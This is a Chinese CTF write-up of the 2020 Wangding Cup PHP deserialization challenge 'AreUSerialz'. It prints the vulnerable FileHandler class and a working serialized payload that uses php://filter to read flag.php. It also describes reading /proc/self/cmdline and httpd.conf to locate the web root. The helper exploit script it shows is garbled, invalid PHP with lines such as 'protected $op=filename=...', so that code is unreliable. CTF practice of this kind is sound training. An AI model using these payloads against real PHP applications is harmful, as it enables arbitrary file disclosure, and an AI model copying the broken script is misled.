网鼎杯2020php反序列化,2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup

0x02 AreUSerialz

关于s大写小写问题,可以看p神在圈子里发的,我在最后付上截图

考点: php反序列化 php特性 利用链构造

9cd30bc67c355f0e924cf3c93baddf6f.png

1.打开页面得到代码如下:

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;

protected $filename;

protected $content;

function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

$res = $this->read();

$this->output($res);

} else {

$this->output("Bad Hacker!");

}

}

private function write() {

if(isset($this->filename) && isset($this->content)) {

if(strlen((string)$this->content) > 100) {

$this->output("Too long!");

die();

}

$res = file_put_contents($this->filename, $this->content);

if($res) $this->output("Successful!");

else $this->output("Failed!");

} else {

$this->output("Failed!");

}

}

private function read() {

$res = "";

if(isset($this->filename)) {

$res = file_get_contents($this->filename);

}

return $res;

}

private function output($s) {

echo "[Result]:
";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->content = "";

$this->process();

}

}

function is_valid($s) {

for($i = 0; $i < strlen($s); $i++)

if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];

if(is_valid($str)) {

$obj = unserialize($str);

}

}

2.简单看下代码,反序列化操作,protect里面可控:

01.自己构造一下利用链,主要是绕过 is_vaild 函数,它规定了序列化内容中只能包含ascii可见字符,如果出现其他的字符则会返回false

873906a89403caafc01de0caed1c51a2.png

02.因为构造成功的内容中,肯定会包含%00,因为类型是protect类型,要给添加标记,主要坑点在这,绕过这个的限制

03.我们构造利用链,输出序列化内容,我们自己构造exp,直接读不知道为啥读不到,相对路径的问题???,比赛就用伪协议读一下:

highlight_file(__FILE__);

class FileHandler {

protected $op=2;

protected $op=filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";

protected $op=loecho;

}

$FileHandler = new FileHandler();

$test = serialize($FileHandler);

echo $test;

04.先得知道路径,我们通过 /proc/self/cmdline 知道配置文件路径 /web/config/httpd.conf,通过配置文件知道目录的路径/web/html

直接读一下Flag

运行结果如下:

得到序列化数据:

7d77cf9b1e99c9ad5f502602f08ea386.png

04 修改下Payload,主要是 %00,进行标记,然后进行Protecte绕过,改为 16进制\00\00或者空格,绕过字符限制

O:11:"FileHandler":3:{s:5:"\00*\00op";i:2;s:11:"\00*\00filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:10:"\00*\00content";s:6:"loecho";}

*

str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"\00*\00content";S:6:"loecho";}

1. Paylaod打过去,看结果:

fa96b4cfe2f173e84b6e561320d3c94a.png

我们使用伪协议读的,Base64解码一下:

58467139931da840ea09be75c84277a4.png

相关资料:

01. 在线复现: https://buuoj.cn/challenges

02. 反序列化基础: https://bealright.github.io/2019/08/12/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0(%E4%B8%80)/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值